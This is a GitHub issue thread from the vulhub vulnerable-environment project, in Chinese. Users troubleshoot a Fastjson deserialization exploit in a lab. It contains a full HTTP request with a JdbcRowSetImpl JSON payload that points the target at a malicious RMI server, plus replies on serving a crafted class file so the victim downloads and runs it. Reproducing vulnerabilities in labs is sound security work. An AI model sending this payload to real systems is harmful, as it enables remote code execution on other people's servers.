vulhub / vulhub

Pre-Built Vulnerable Environments Based on Docker-Compose
https://vulhub.org
MIT License
17.74k stars 4.47k forks source link

报错set property error, autoCommit #169

Closed src-kun closed 4 years ago

src-kun commented 4 years ago

环境

图片

rmi访问成功:

图片 图片

漏洞三步: 1、提交poc 「成功」 2、服务端请求恶意rmi 「成功」 3、从http服务器下载构造好的class 「失败」

没能执行到从url下载远程class就会报错

request:

POST / HTTP/1.1
Host: 149.129.112.179:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 156

{
    "name":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:8080/poc",
        "autoCommit":true
    }
}

response:

HTTP/1.1 500 
Content-Type: application/json
Content-Length: 137
Date: Sat, 11 Jan 2020 15:19:11 GMT
Connection: close

{
    "timestamp":1578755951732,
    "status":500,
    "error":"Internal Server Error",
    "message":"set property error, autoCommit",
    "path":"/"
}
src-kun commented 4 years ago

已经解决了: 因为防火墙问题,在项目中使用rmi,发布到linux,unix,由于开了防火墙。需要配置防火墙端口。刚开始配置了一个固定端口,死都连接不通,后来同netstat -antup |grep pid 查看进程监听的端口,,发现原来rmi有2个端口一个是固定的。一个是随机的。

参考: https://blog.csdn.net/weixin_34133829/article/details/92524072

inVains commented 1 year ago

我复现的情况: 1、在同一台机器上rmiserver和victim, "dataSourceName":"rmi://127.0.0.1:9999/TouchFile"使用loopback地址,rmiserver收不到请求,改成本地IP地址可以收到请求 2、rmiserver收到请求后,victim反序列化仍然报"set property error, autoCommit"错误,且没有执行成功 3、在rmiserver端增加一个http服务器,使其可访问TouchFile.class文件,victim执行成功,但是仍然报"set property error, autoCommit"错误。

参考:https://cloud.tencent.com/developer/article/1853977